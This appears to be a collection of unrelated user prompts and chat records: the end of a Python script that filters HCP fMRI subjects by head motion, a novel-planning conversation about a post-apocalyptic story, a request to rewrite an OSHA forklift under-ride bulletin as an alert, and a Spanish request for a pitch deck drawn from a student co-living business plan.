#config.parcellationFile = '/data/pgaldi/Schaefer600\\_Aseg\\_Suit/Parcels.dlabel.nii'\n #config.parcellationName = 'Glasser'\n #config.parcellationFile = '/data/pgaldi/Glasser/Parcels.dlabel.nii'\nelse:\n config.parcellationName = 'Schaefer\\_Aseg\\_SUIT\\_vol'\n config.parcellationFile = '/data/pgaldi/Schaefer\\_Aseg\\_SUIT/schaefer\\_aseg\\_suit.nii.gz'\n #config.parcellationName = 'Shen'\n #config.parcellationFile = '/data/jdubois/data/parcellations/shenetal\\_neuroimage2013\\_new/shen\\_2mm\\_268\\_parcellation.nii.gz'\n# where all the time series used to compute FC and final FC matrices will be stored\nif config.isCifti:\n config.FCDir = op.join(config.DATADIR, 'Results', 'rsDenoise', 'denoise\\_'+config.pipelineName, config.parcellationName+'\\_FC')\nelse:\n config.FCDir = op.join(config.DATADIR, 'Results', 'rsDenoise', 'denoise\\_'+config.pipelineName, config.parcellationName+'\\_FC')\n#config.FCDir = 'FC\\_Glasser'\n# if working with volumetric data: should the parcels be restricted to the gray matter mask?\nif not config.isCifti:\n config.maskParcelswithGM = False\n if config.maskParcelswithGM:\n config.parcellationName = config.parcellationName + '\\_GM'\n\n# Define input\nfmriRuns = ['rfMRI\\_REST1\\_LR','rfMRI\\_REST1\\_RL','rfMRI\\_REST2\\_LR','rfMRI\\_REST2\\_RL']\n\n# # Subject selection\n# READ CSV FILES\nUdf = pd.read\\_csv('/data/pgaldi/data/unrestricted\\_paolagaldi\\_11\\_2\\_2017\\_8\\_3\\_2.csv')\nRdf = pd.read\\_csv('/data/pgaldi/data/RESTRICTED\\_paolagaldi\\_8\\_10\\_2017\\_16\\_31\\_0.csv')\n# merge unrestricted and restricted\ndf = pd.merge(Udf,Rdf,how='inner')\n# keep only variables of interest\ndf = df[['Subject','Release','Gender','Age\\_in\\_Yrs','fMRI\\_3T\\_ReconVrs',\n 'FS\\_BrainSeg\\_Vol','MMSE\\_Score',\n 'Family\\_ID','Father\\_ID','Mother\\_ID','Race','Ethnicity','Handedness', \n '3T\\_RS-fMRI\\_PctCompl','PMAT\\_Compl','NEO-FFI\\_Compl','MMSE\\_Compl',\n 'Non-TB\\_Compl','VisProc\\_Compl','DelDisc\\_Compl','SCPT\\_Compl','IWRD\\_Compl','VSPLOT\\_Compl', \n 'CardSort\\_Unadj','Flanker\\_Unadj','ListSort\\_Unadj','PicSeq\\_Unadj','PicVocab\\_Unadj','ProcSpeed\\_Unadj','ReadEng\\_Unadj',\n 'IWRD\\_TOT','PMAT24\\_A\\_CR','VSPLOT\\_TC'\n ]]\n# replace labeled columns with dummies\ndf['Gender'].replace(['F','M'],[1,2],inplace=True)\ndf['fMRI\\_3T\\_ReconVrs'].replace(['r177','r177 r227','r227'],[1,2,3],inplace=True)\n\nkeepSub = ((df['Release'] == 'Q1') | (df['Release'] == 'Q2') | (df['Release'] == 'Q3') \n | (df['Release'] == 'S500') | (df['Release'] == 'S900') | (df['Release'] == 'S1200') \n | (df['Release'] == 'MEG2')) & (df['3T\\_RS-fMRI\\_PctCompl']==100)\n# select subjects that have completed all neuropsych\nkeepSub = keepSub & (\n (df['PMAT\\_Compl']==True) &\n (df['NEO-FFI\\_Compl']==True) &\n (df['MMSE\\_Compl']==True) &\n (df['Non-TB\\_Compl']==True) &\n (df['VisProc\\_Compl']==True) &\n (df['SCPT\\_Compl']==True) &\n (df['IWRD\\_Compl']==True) &\n (df['VSPLOT\\_Compl']==True)\n )\n\n# FURTHER EXCLUSIONARY CRITERIA: MISSING VALUES\nkeepSub = np.logical\\_and(keepSub,np.logical\\_not(np.isnan(df['CardSort\\_Unadj'])))\nkeepSub = np.logical\\_and(keepSub,np.logical\\_not(np.isnan(df['VSPLOT\\_TC'])))\nkeepSub = np.logical\\_and(keepSub,np.logical\\_not(np.isnan(df['PicSeq\\_Unadj'])))\n\n# COGNITIVE COMPROMISE --> MMSE <24 excluded\nkeepSub = np.array(np.logical\\_and(keepSub,df['MMSE\\_Score']>=24))\n# PRUNE df \ndf = df.loc[keepSub,:]\n# reindex\ndf.index = range(df.shape[0])\n\n# FURTHER PRUNE SUBJECTS FOR MRI ANALYSIS\n# Exclusion of high-motion subjects\n# exclude subjects with >0.20 frame-to-frame head motion estimate averged across both rest runs (arbitrary threshold as in Finn et al 2015)\nkeepSub = (df['3T\\_RS-fMRI\\_PctCompl']==100).values\nFDmean = np.zeros([len(df['Subject']), len(fmriRuns)],dtype=np.float32)\nFDsum = np.zeros([len(df['Subject']), len(fmriRuns)],dtype=np.float32)\nTR = 0.72\niSub=0\nexcluded = list()\nfor subject in df['Subject']:\n if keepSub[iSub] is False:\n iSub=iSub+1\n continue\n config.subject=str(subject)\n # mean framewise displacement\n i=0\n for config.fmriRun in fmriRuns:\n #FDmeanFile = op.join(buildpath(), 'FD\\_mean.txt')\n #FDsumFile = op.join(buildpath(), 'FD\\_sum.txt')\n FDmeanFile = op.join(buildpath(), 'FDmultiband\\_mean.txt')\n FDsumFile = op.join(buildpath(), 'FDmultiband\\_sum.txt')\n if not op.isfile(FDmeanFile) or not op.isfile(FDsumFile) or True:\n motionFile = op.join(buildpath(), config.movementRegressorsFile)\n if op.isfile(motionFile):\n n = int(np.round(2/TR))\n nyq = 0.5\\*1/TR\n low = 0.2/nyq\n high = 0.5/nyq\n I, u = signal.butter(10, [low,high], btype='bandstop')\n motpars = np.abs(np.genfromtxt(motionFile)[:,:6]) \n motpars\\_detrend = signal.detrend(motpars, axis=0)\n clean\\_motpars = signal.filtfilt(I,u,motpars\\_detrend,axis=0) \n dmotpars = np.vstack([np.zeros([n,6]),np.abs(clean\\_motpars[n:,:] - clean\\_motpars[:-n,:])])\n dmotpars[:,3:6] = np.pi\\*config.headradius\\*2\\*(dmotpars[:,3:6]/360)\n thisFD=np.mean(dmotpars,1)\n if len(np.where(thisFD>0.25)[0]) > len(thisFD)/2:\n keepSub[iSub] = False\n excluded.append(config.subject)\n break\n thisFDmean=np.mean(np.mean(dmotpars,1),0)\n thisFDsum=np.sum(np.sum(dmotpars,1),0)\n with open(FDmeanFile,'w') as tmp:\n tmp.write(str(thisFDmean))\n with open(FDsumFile,'w') as tmp:\n tmp.write(str(thisFDsum))\n else:\n break\n with open(FDmeanFile,'r') as tmp:\n FDmean[iSub,i] = float(tmp.read())\n with open(FDsumFile,'r') as tmp:\n FDsum[iSub,i] = float(tmp.read())\n i=i+1\n if np.any(FDmean[iSub,:] > 0.20):\n keepSub[iSub]=False\n excluded.append(config.subject)\n else:\n keepSub[iSub]=True\n iSub=iSub+1\nprint(np.unique(excluded).shape)\n\n# add FDsum to the dataframe\ndf['FDmean\\_REST1'] = np.mean(FDmean[:,0:2],axis=1)\ndf['FDmean\\_REST2'] = np.mean(FDmean[:,2:4],axis=1)\ndf['FDsum\\_REST1'] = np.mean(FDsum[:,0:2],axis=1)\ndf['FDsum\\_REST2'] = np.mean(FDsum[:,2:4],axis=1)\ndf = df[keepSub]\ndf.index = range(df.shape[0])\nprint('Included data for MRI analysis: {} subjects [{} F, {:0.1f}+/-{:0.1f} range {}-{} y.o.]'.format(\n len(df),np.sum(df['Gender']==1),np.mean(df['Age\\_in\\_Yrs']),np.std(df['Age\\_in\\_Yrs']),np.min(df['Age\\_in\\_Yrs']),np.max(df['Age\\_in\\_Yrs'])))\n\nsubjects = np.array([str(s) for s in df['Subject']])\ndf.to\\_csv('/data/pgaldi/data/demo\\_HCP\\_FDmultiband.csv')\nsys.exit()\n\n# ### MRI processing\n#for config.subject in ['100206', '100307']:\nfor config.subject in subjects:\n for config.fmriRun in fmriRuns:\n runPipelinePar(do\\_makeGrayPlot=True, do\\_plotFC=True, overwriteFC=False)\n\n \nif len(config.scriptlist)>0:\n # launch array job\n #prepareJobArrayFromJobList()\n fnSubmitJobArrayFromJobList()\n #config.joblist.append(JobID.split(b'.')[0])\n\n#checkProgress(pause=60,verbose=False)" -'Petar B\nYes, pilgrims from across earth do visit the Tiamat zone for pilgrimage, and there are conflicts and various events surrounding this. The pilgrims are forced to visit North America usually by ship, or come by other means from Latin America to the ex-USA, and then they either walk to the pilgrimage site, or ride on horseback, use carts etc. The entire north-American continent, all the way down to mid Mexico is a no-fly zone, because of the extended effects of the Tiamat field which cause planes to crash.\n\nNate used to be a regular boy and young man, and he has a brother called Ethan. Ethan is also somewhere on earth in a stasis chamber. Not everyone is aware of Ethan\'s existence, or believe that Ethan exists, but some are looking for Ethan as "God\'s own brother", or "The living god\'s brother", or "Wounded god\'s kin", in hope that reuniting Ethan and Nate could unlock the Tiamat field and release Nate. There\'s a group of knights who claim they are the keepers of "Ethan\'s tomb" referring to Ethan\'s stasis chamber. It is unknown if these Knights are really knights, or if there\'s any truth to their claims.\n\nThe main protagonist is Lena, a young african-american woman from New Orleans, who used to have a romantic relationship with Ethan. She was put into stasis by Ethan ( against her will ) before the event that caused the apocalypse and she awakens inside the Tiamat zone a century after she was put in stasis. She travels the zone, and the world with other characters. She reveals her daughter ( with Ethan ) remained outside stasis, so in effect, Lena\'s daughter has probably lived and died decades ago.\nThe journey of Lena and her companions can serve as the backbone of your story, providing a personal and emotional connection for the reader while exploring the complexities of this post-apocalyptic world. Here are some ideas to help you develop Lena\'s character and her journey:\n\nLena\'s awakening: Lena\'s awakening from stasis could be a disorienting and traumatic experience, as she must come to terms with the loss of her old life, the passage of time, and the drastic changes in the world around her. This could be a powerful opening for your novel, setting the tone for the challenges and hardships Lena will face throughout her journey.\n\nThe search for Ethan: Driven by her love for Ethan and her desire to understand the truth about the Tiamat field, Lena could embark on a quest to find him and uncover the mystery surrounding his stasis chamber. This journey could take her and her companions across the Tiamat zone, encountering various factions, cultures, and dangers along the way.\n\nThe legacy of her daughter: The revelation that Lena\'s daughter lived and died decades ago could add a poignant and bittersweet dimension to her journey. Lena might seek to uncover her daughter\'s fate, learning about the life she led and the impact she had on the world. This could lead Lena to discover a network of descendants, who carry on her daughter\'s legacy and provide her with allies and connections throughout her journey.\n\nConflicts and alliances: As Lena travels through the Tiamat zone and beyond, she could find herself drawn into the power struggles and conflicts between different factions, including the various religious groups, the knights claiming to guard Ethan\'s tomb, and the factions seeking to control the Tiamat entity. Lena\'s unique connection to the "Wounded God" and his brother could make her a valuable asset or a target for these groups.\n\nLena\'s personal growth: Throughout her journey, Lena will need to adapt to the new world and confront her own fears, regrets, and limitations. Her experiences and the people she encounters could shape her into a strong and resilient leader, inspiring others with her determination and hope in the face of overwhelming odds.\n\nThe ultimate resolution: Lena\'s quest to find Ethan, understand the Tiamat field, and reconcile her past could lead her to a climactic confrontation with the forces shaping the world. The outcome of this confrontation could determine the fate of humanity, the Tiamat entity, and Nate, offering a powerful and satisfying conclusion to your novel.\n\nBy focusing on Lena\'s journey and her personal connections to the central mysteries of your story, you can create a compelling narrative that draws readers into your post-apocalyptic world and keeps them engaged throughout the story.\n\n\nPetar B\n1. exactly what I planned.\n\n2. Lena\'s love for Ethan had pretty much died during the first novel, because of his transformation from a normal guy to a greedy, materialistic, selfish person. Though Lena still has feelings for Ethan, she discovers that he had essentially abducted her and put her in stasis against her will. Ethan had no knowledge that Lena and he have a daughter ( because Lena hid it from Ethan ), so Lena sees Ethan as the villain responsible for abducting her and separating her from her daughter. Lena spends a lot of time being enraged and hating Ethan, which takes a toll on her... especially as she\'s subconsciously trying to avoid admitting her own blame for not informing Ethan of the existence of his daughter.\n\n3. In the second half of this novel, Lena learns that her daughter\'s descendants might be a class of "Hybrids", a genetically engineered group of humans ( or are they fully human ) who have come to rule most of the planet. These hybrids have created dystopian societies around Eurasia, Africa, Australia and south America, which hold the last remnants of advanced technology. \n\n4. in the first quarter of the novel, Lena is allied with other women ( other Ethan\'s ex romantic partners and women he admired ) who awaken alongside Lena. Some of these women are killed off, others go their own way, but Lena\'s most closely allied to Olivia - Ethan\'s ex-love interest, a psychotic young woman who had traumatized Ethan several times with her careless, evil actions. Olivia\'s nature is thoroughly sociopathic, so Lena is in danger from this person. During the mid third of the novel, Lena meets Mr. Gray, an immortal being ( belonging to a species who is only distantly related to humans, and who probably dominated earth before humans ). Mr. Gray is weakened by the effects of the apocalypse, and he finds an ally in Lena, and helps her on her quest as a mentor ( being that he is thousands of years old, and knows everything about everything, especially how to manipulate and rule over humans ). Mr.Gray is the main villain in the first novel, but in this novel he becomes a protagonist ( though an unrealiable one, with self-serving plans always brewing inside him ). \n\n6. The ultimate resolution, I\'ll form. My idea is that Lena manages to defeat the hybrids ( somewhat ), but doesn\'t destroy them, probably due to learning the Hybrids are descendants of her daughter. While Lena is searching for Ethan and acquiring power through her journey, the Tiamat field spreads slowly, and inside the epicenter of the field, Nate and Tiamat are discussing whether Tiamat should just devour earth and everyone else. \nBased on your ideas, here\'s a suggestion on how to weave these elements together into a cohesive narrative:\n\nLena\'s journey begins with her awakening, and her initial allies are the other women who were Ethan\'s ex-partners or admirers. Their shared history with Ethan could create a tense and uneasy alliance, as they navigate the dangers of the post-apocalyptic world.\n\nAs Lena learns more about her daughter\'s descendants, the Hybrids, she becomes increasingly determined to confront them and understand their true nature. This could serve as a driving force for her journey, as well as a source of internal conflict, as she wrestles with her anger toward Ethan and her own guilt.\n\nThe introduction of Mr. Gray as a mentor and ally to Lena adds depth and complexity to the story. His vast knowledge and experience could provide Lena with valuable guidance, while his ulterior motives and manipulative nature could create tension and mistrust within their alliance. The dynamic between Lena and Mr. Gray could be a key aspect of the novel, as they navigate their shared past and uncertain future.\n\nOlivia, the sociopathic ex-love interest of Ethan, could serve as a wild card in Lena\'s journey. Her unpredictability and dangerous nature could create suspense and tension, as Lena is forced to navigate the delicate balance between keeping Olivia as an ally and protecting herself from Olivia\'s potential betrayal or violence.\n\nAs Lena and her companions travel through the Tiamat zone, they could encounter various factions and cultures shaped by the post-apocalyptic world. These encounters could provide opportunities for world-building, as well as challenges and obstacles for Lena to overcome as she seeks Ethan and the truth about the Hybrids.\n\nThe ultimate resolution of Lena\'s journey could involve a climactic confrontation with the Hybrids, in which she must decide whether to destroy them or try to forge a new future with them as her daughter\'s descendants. This decision could be complicated by her ongoing relationship with Mr. Gray, as well as her unresolved feelings toward Ethan.\n\nThe subplot of Nate and Tiamat discussing the fate of Earth could add a sense of urgency and impending doom to the story, as Lena races against time to find a solution that will save humanity. The resolution of this subplot could be linked to Lena\'s ultimate decision regarding the Hybrids, potentially offering a way to avert disaster and reshape the world.\n\nBy intertwining these elements and character arcs, you can create a rich and engaging story that explores the complexities of your post-apocalyptic world and the personal struggles of Lena as she confronts her past, her future, and the fate of humanity.' -'act as a Public Relations executive re write this osha bulletin and make it an Alert! write approximately 1800 words include 4 key point bullet and 7 fear of loss bullets and U. S. Department of LaborOccupational Safety and Health Administration\nDirectorate of Technical Support and Emergency Management\nOffice of Science and Technology Assessment Standup Forklift Under-ride Hazards Safety and Health Information Preface\nForklift truck operators must look in the\ndirection of travel and keep the forklift under\ncontrol at all times. One of the potential\nhazards faced by standup forklift operators is\nthe crushing hazard that can arise when\ntraveling, with the forks trailing, in a\nwarehouse near a storage rack or similar\nobstruction. The risk is that a horizontal rack\nbeam (crossbar) or similar obstruction might\nenter the operator’s compartment in a situation\nreferred to as “under-ride.” This Safety and\nHealth Information Bulletin (SHIB) discusses\nways to reduce the crushing hazard to the\noperator associated with under-ride. Awareness\nof the precautions and safety measures\nhighlighted in this SHIB can help prevent\nserious injuries and fatalities related to\nwarehouse operations.Purpose\nThe purpose of this SHIB is to\nAlert standup forklift operators and\nemployers to the crushing hazard to the\noperator associated with under-ride;\nIdentify standup forklift features that\nare available on new equipment or that\ncan be installed on standup forklifts to\naddress the hazard (ANSI/ITSDF\nB56.1-2005, para. 4.5.3, 7.30, 7.36.)\nThis Safety and Health Information Bulletin\n(SHIB) is not a standard or a regulation, and it\ncreates no new legal obligations. It contains\nrecommendations as well as descriptions of\nmandatory safety and health standards. The\nrecommendations are advisory in nature,\ninformational in content, and are intended to\nassist employers in providing a safe and\nhealthful workplace. The Occupational Safety\nand Health Act requires employers to comply\nwith safety and health standards and regulations\npromulgated by OSHA or by a state with an\nOSHA-approved state Plan. In addition, the\nAct’s General Duty Clause, Section 5(a)(1),\nrequires employers to provide their employees\nwith a workplace free from recognized hazards\nlikely to cause death or serious physical harm.\nIdentify arrangements or modifications\nof storage racks that might reduce the\nrisk of under-ride;Recommend work practices that can be\nimplemented by the employer to\neliminate the under-ride hazard;\nStress the importance of training\n employees on the safe operation\n of standup forklifts; and\nEnsure that employees follow safe\noperating procedures.\nSHIB 07-27-20092 Background\nA forklift “under-ride” hazard arises when the\nforklift operator travels with the forks trailing\nand backs up toward the storage rack. If the\noperator drives the forklift too far, so that the\nforklift passes beneath the horizontal crossbar\n(i.e., the operator creates an “under-ride”), the\ncrossbar can enter the operator’s compartment\nand crush the operator inside the compartment.\nThe Occupational Safety and Health\nAdministration’s (OSHA) Integrated\nManagement Information System data for the\nperiod of 1993 through 2008 indicate that at\nleast nine employees have been killed and three\nemployees sustained severe crushing injuries\nwhen operating a standup forklift in reverse.\nThese forklifts did not have a protective rear\nguard or corner post to prevent under-ride from\noccurring.Accident Description\nThe OSHA Cleveland Area Office investigated\na fatality at a warehouse where a standup\nforklift operator was found pinned between the\nlower horizontal crossbar of a storage-rack\nshelving system and the interior of the\noperator’s compartment. The horizontal\ncrossbar of the shelving system was 55 inches\n(140 centimeters) above the floor, while the top\nsurface of the operator’s compartment was only\n49 inches (124 centimeters) above the floor.\nThis left a space of 6 inches (15 centimeters)\nbetween the crossbar and the top surface of the\noperator’s compartment. Although the forklift\nhad an overhead guard, the shelving rack was\nnot positioned at the same level as the guard to\nprevent the under-ride from occurring. When\nthe operator traveled with the forks trailing, the\nforklift passed under the crossbar, which struck\nthe operator above the waist and pinned his\ntorso against a part of the operator’s\ncompartment. The operator died of\nasphyxiation injuries.\nThis photograph depicts a forklift under a\nstorage rack after an under-ride accident.\nThe crossbar is protruding above the\noperator’s cab. Forklift manufacturers have\nvarious features available to assist in\npreventing such under-rides. \nOSHA’s Standard Requirements\nProper training is essential to the safe operation\nof powered industrial trucks. Paragraph (l) of\nOSHA’s Powered Industrial Trucks Standard,\n29 CFR 1910.178, contains training and\ncertification requirements for the use of\nforklifts that are specific to the workplace. The\nstandard requires employers to develop and\nimplement a training program for all operators\nbased on the general principles of safe truck\noperation; the types of vehicles being used in\nthe workplace, including the instructions,\nwarnings, and precautions found in the\noperator’s manual; the hazards of the\nworkplace created by the use of the vehicle;\nand the general safety requirements of the\nOSHA standard.\nAdditionally, 29 CFR 1910.178(n)(1) and\n(n)(6) require operators to keep the forklift\nunder control at all times and to look in the\ndirection of travel.\nRecommendations\nThe following recommendations will reduce\nthe risk of under-ride hazards associated with\noperating standup forklifts.\nEmployers should evaluate their worksite to\ndetermine if an under-ride hazard exists. If\nthere are rack crossbars or similar obstructions\nin the facility, the employer should take one or\nmore of the following actions:\nIf possible, make modifications to the\nshelving system.\nAdjust the shelf heights so that\nthe body of the forklift below\nthe operator’s compartment will\nstrike the rack in the event of\ncontact, preventing under-ride\nfrom occurring. Adjust the shelf heights so that\nthe forklift’s overhead guard\nwill strike the rack in the event\nof contact, preventing under-ride\nfrom occurring. Install a barrier, even with the outer\nedge of the storage rack (such as a curb\nor floor level shelf), so that the bottom\nof the forklift will strike the curb or\nshelf in the event of contact, preventing\nan under-ride from occurring.\n Purchase, where appropriate, standup\nforklifts that have corner posts,\nextended backrests, rear post guards, or\nother features to prevent an under-ride\nfrom occurring. (Specific guards or\nother means that enhance safe\noperations would be determined\nthrough cooperation between the user\nand manufacturer (see ANSI /ITSDF\nB56.1-2005, para.4.5.3, 7.30, and\n7.36).)\nContact the manufacturer to discuss\ninstalling rear post guards or other\nequivalent protections that address the\nunder-ride hazard on existing standup\nforklifts. These posts may be available\nfrom the forklift manufacturer. (Note\nthat modifications and additions which\naffect safe operation shall not be\nperformed by the customer or user\nwithout the manufacturer’s prior written\napproval. 29 CFR 1910.178 (a)(4).)\nEvaluate control methods to assure that\nguards do not limit visibility, present\npinch-point hazards, or add any\nadditional hazard to forklift operators or\nother employees on the site.\nTrain employees to operate forklifts\nsafely as required by paragraph (l) of 29\nCFR 1910.178, including recognizing\nthe hazards of the workplace created by\nthe use of the vehicles.\nRefer to the Powered Industrial\nTrucks (Forklift) eTool as a resource for\ninformation to keep employees who\noperate forklifts safe on the job. The\neTool provides a review of potential\nhazards and a summary of key OSHA \nUpper rack is positioned at the same level as the\noverhead guard, preventing the possibility of an\nunder-ride. The forklift shown in this photograph\nhas an overhead guard and an extended backrest.\nKits with additional posts are other safety features\nthat are available on many forklifts.\nConclusion\nMinimizing the potential for serious or fatal\ninjuries to standup forklift operators is the\nprimary concern of this SHIB. Following the\nsafe work practices recommended in this SHIB,\nand training employees as required in OSHA\nregulations, will help accomplish this goal.\nReferences\nOSHA Integrated Management\nInformation System (IMIS), 1993-\n2005.\nAmerican National Standard\nANSI/ITSDF B56.1-2005, Safety\nStandard for Low Lift and High Lift\nTrucks, Industrial Truck Standards\nDevelopment Foundation.' -'Traducir lo siguiente y desarrollar el script de un pitch deck con la siguiente informacion: \nExecutive Summary\nOpportunity\nProblem Summary\nIt is known that the student housing market has incremented over the decade exponentially and is a market that will keep doubling year after year, in LATAM, given the high demand, it’s getting harder and harder to find an adequate place to live with a student ́s budget. When a student is not looking for a permanent stay or a year-plus lease & usually, they are moving to a new city where they do not know much about the zone.\nSolution Summary\nNEST provides a service to both, local landlords situated near the universities to prospect short- term rentals for their properties which aren ́t providing them any income and usually end up costing them. Students from all over the world are looking for an adequate place to live during their education with the right roommates for an appropriate rate. Through a compatibility test that will run a thorough matching from a sum of profile points, covering everything, from their budget and location to a match percentage for both landlords and current roommates of the property.\nMarket\nOur market consists mainly of young men & women which are mostly foreigner students looking for a room to rent, for a 3–6-month period, close to their college, we are talking about male and female only or co-ed apartments and houses occupied by students from 17 to 27 years old. Currently in Mexico City, one out of nine students are foreigners, looking for a place to rent, and the only one`s renting the rooms are independent landlords or mayor student residentials. That is why we attack two markets: the students which are at a high demand and landlords that have their properties on the leasing market, stocked and costing them negative cash flow on their maintenance and other miscellaneous expenses that come with owning real estate.\nUniversities in the city have housing programs where they need to locate their foreign students and also rent full houses at a high market value and accommodate their students.\n4\nCONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n \nNEST STUDENT CO-LIVING\n Competition\nDIRECT COMPETITORS: NEST will be the first of its kind, at least in Latin America, there are similar concepts in the USA and Canada but involves either, Real Estate Development or the leasing and subletting of a house or various apartments. Our biggest competitor on the market now is roomiesmexico.com, which we ́ll use as a marketplace as well, just like all our competitors to begin our traction and generating massive leads.\nMarket Competitors:\n- https://roomiemexico.com/\n- https://en-mx.roomlala.com/\n- https://www.iroommates.com/\n- https://roomiapp.com/\n- https://www.roomgo.com.mx/ -\nWhy Us?\nNest provides more than just a space to live or a marketplace for roommates and students to find each other for a temporary home, it provides proven compatibility match between: Landlords, Students & Roommates.\nWe ́ll revolutionize the industry by making the whole experience more personal between the roommates that will end up living together. With a quick 3-minute test they will get a customized service that will help them accommodate better in their new home. As for the landlords, our software shall provide a friendly user experience for our management service and transaction management.\nExpectations Forecast Mexico City\nOur “going to market” strategy consists of a pre-campaign starting in December 5th for early showings to measure the demand and prepare for the high demand season in January. We ́ll attack the market by advertising our rooms on all the marketplaces, from Google ́s SEO to Facebook ́s Marketplaces, plus all the property searchers or IDX ́s, like our competitor ́s, while simultaneously bringing all leads to our platform to perform our compatibility test.\n5\nCONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n \nNEST STUDENT CO-LIVING\n The three main sources of income at the beginning are clear, the first and most important: Our service deserves a fee, when addressing any service on the market, the price of $500 MXN is reasonable and any student will gladly pay, even without warrantying their stay at that first room, but to have access to the community and our match platform with property search & matching algorithm. The investigations or “compatibility test”, per room-rate shall not surpass the 6 to 1 ratio.\nThe second source of income is the lease or listing commission fee to the landlords that we ́ll assist occupy their vacant property and rent it for a higher rate than the one they would ́ve gotten at the regular lease market. On the first phase of the project, we ́ll charge 50% of a month ́s rent per room, naturally to the landlord.\nThe third source of income is the management fee, a 15% management fee from each month ́s rent per room to the landlord that acquire this optional but preferred service to help control the variables of the tenants/students.\nFinancial Highlights by Month Mexico City\n9 Room Projection:\n Room #\nRent/Month Rent Fee (50%) Admin Fee Test Fee/Room (15%)\n Gross income/Room\nRoom 1\n$ 5,000.00\n$ 2,500.00\n$ 750.00\n$ 3,000.00\n$ 2,500.00\nRoom 2\n$ 5,500.00\n$ 2,750.00\n$ 825.00\n$ 3,000.00\n $ 2,750.00\nRoom 3\n$ 6,000.00\n$ 3,000.00\n$ 900.00\n$ 3,000.00\n $ 3,000.00\nRoom 4\n$ 6,500.00\n$ 3,250.00\n$ 975.00\n$ 3,000.00\n $ 3,250.00\nRoom 5\n$ 7,000.00\n$ 3,500.00\n$1,050.00\n$ 3,000.00\n $ 3,500.00\n Room 6\n$ 5,500.00\n$ 2,750.00\n$ 825.00\n$ 3,000.00\n$ 2,750.00\nRoom 7\n$ 6,000.00\n$ 3,000.00\n$ 900.00\n$ 3,000.00\n $ 3,000.00\n Room 8\n$ 6,500.00\n$ 3,250.00\n$ 975.00\n$ 3,000.00\n$ 3,250.00\nRoom 9\n$ 7,000.00\n$ 3,500.00\n$1,050.00\n$ 3,000.00\n $ 3,500.00\n TOTAL\n$ 55,000.00\n$ 27,500.00\n$ 8,250.00\n$ 27,000.00\n $ 27,500.00\n 6\n CONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n\n NEST STUDENT CO-LIVING\n$70,000.00 $60,000.00 $50,000.00 $40,000.00 $30,000.00 $20,000.00 $10,000.00\n$-\nOpportunity Problem & Solution\nProblem Worth Solving\nRoom 1 Room 6\nRoom 2 Room 7\nRoom 3 Room 8\nRoom 4 Room 9\nRoom 5 TOTAL\nForecast per month\nFor young people in a big city like CDMX, there are a lot of considerations when looking for a place to live, and your options get very limited, mostly when you are a student without mayor sources of income and have a limited budget. Even after you find a suitable place to live, close to your school and public transportation, perfect location, you must deal with your roommates. It is not easy to live with someone that you know, now imagine someone you don’t know, it’s a big factor for anyone looking for a minimum 3 month stay.\nThe growth of the student market has created a very high demand of short-term rentals, there a various modalities: Family rents a room to a student, student housing, student co-living buildings, roomies rent out rooms and subletting. The problem is they are all spread through different markets, that is how we solve the problem for the landlords.\n7\nCONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n\nNEST STUDENT CO-LIVING\nThere are a lot of Real Estate owners that are losing money with their property stocked in the wrong market, like houses that are looking for a high rental rate, for a one year lease period, and their neighbourhood isn’t as family friendly as it used to be, so no family is willing to pay that high, but multiple students can make up the sum.\nOur Solution\nCurrently there is not a marketplace or hosting platform that offers what we do, being a student- centric platform, that through a friendly 3-minute test, we ́ll identify the best match for any student to live during their studies abroad. Compatibility on: Location, measuring distance from their school, public transportation (if needed), hospitals, shopping centres, gyms, restaurants & bars. Age, careers, hobbies, routines, likes and dislikes, pets, and much more are included on our test created by a psychologist to match different profiles and help the student create a sense of trust when renting a room.\nWe have easily identified the area for opportunity within the market, when we talk about student housing, not all universities share that luxury, which gives light to millions of young first timers looking to rent a room, and the vast majority has no experience whatsoever, thus our opportunity. The student market, for years to come shall be integrated purely by millennials, the most “Tech- Practical” or “Tech-Dependant” generation of all time. By creating an easy user experience throughout the: SEARCH, PAPERWORK and PAYMENT linked to renting a room in any mayor city, we can attract all of them. INCLUDE AMENITIES OUTSOURCED, FITPASS, STREAMS.\n.\n 8\nCONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n \nNEST STUDENT CO-LIVING\n Target Market CDMX\nWorld Market\nStudent housing, like the worldwide scenario, is one of the most interesting parts of co- living environments. Co-living was inspired to create a unique and high-quality student living concept in India by a combined experience in the student housing market in India and overseas. The potential lines in the gap in India’s student housing industry in terms of quality infrastructure and personalized services. In India, the student housing business generates more than $15 billion in revenue yearly and is predicted to rise by multiples. The segment receives a demand from approximately 11 million migrant students on average. Hence, there is a strong need for a professionally managed, tech-enabled student living experience, and that consumers are eager to try out a new value proposition.\nColiving is a new type of housing in which inhabitants share a living space and a common set of interests, values, and goals. It’s a fresh perspective for the millennial age, emphasising openness, collaboration, social networking, and the sharing economy. Nowadays, students prefer co-living accommodations since it provides them with a greater sense of independence. Being away from parents, moving to a new city, and adjusting to life away from home are hard tasks. Students must have the confidence to make their judgments when moving away from home and settling in a new location. Fully furnished rooms, cleaning and maintenance services, utilities, furniture, and other amenities are all included in co-living accommodations. Currently, the real estate business is concentrating its efforts on Mumbai, Delhi, Bengaluru, Pune, Jaipur, and other educational hotspots.\nCo-living, which is sometimes referred to as “an extension of dorm life,” allows renters to rent a private bedroom within a bigger apartment. All co-residents share living rooms, kitchens, and other common areas. Cleaning services, pet care, and cooking tips are frequently included in the package. Co-living differs from room sharing in that a tenant has an individual lease rather than a shared lease and is thus only responsible for their bedroom and bathroom. Co-living is an excellent alternative to an oversupplied luxury multi-family market from the standpoint of landlords and developers. Young renters with disposable income can benefit from co-living situations.\nSWOTS\n9\nCONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n \nNEST STUDENT CO-LIVING\nMillennials and other renters are looking for new technologies as they hunt for new 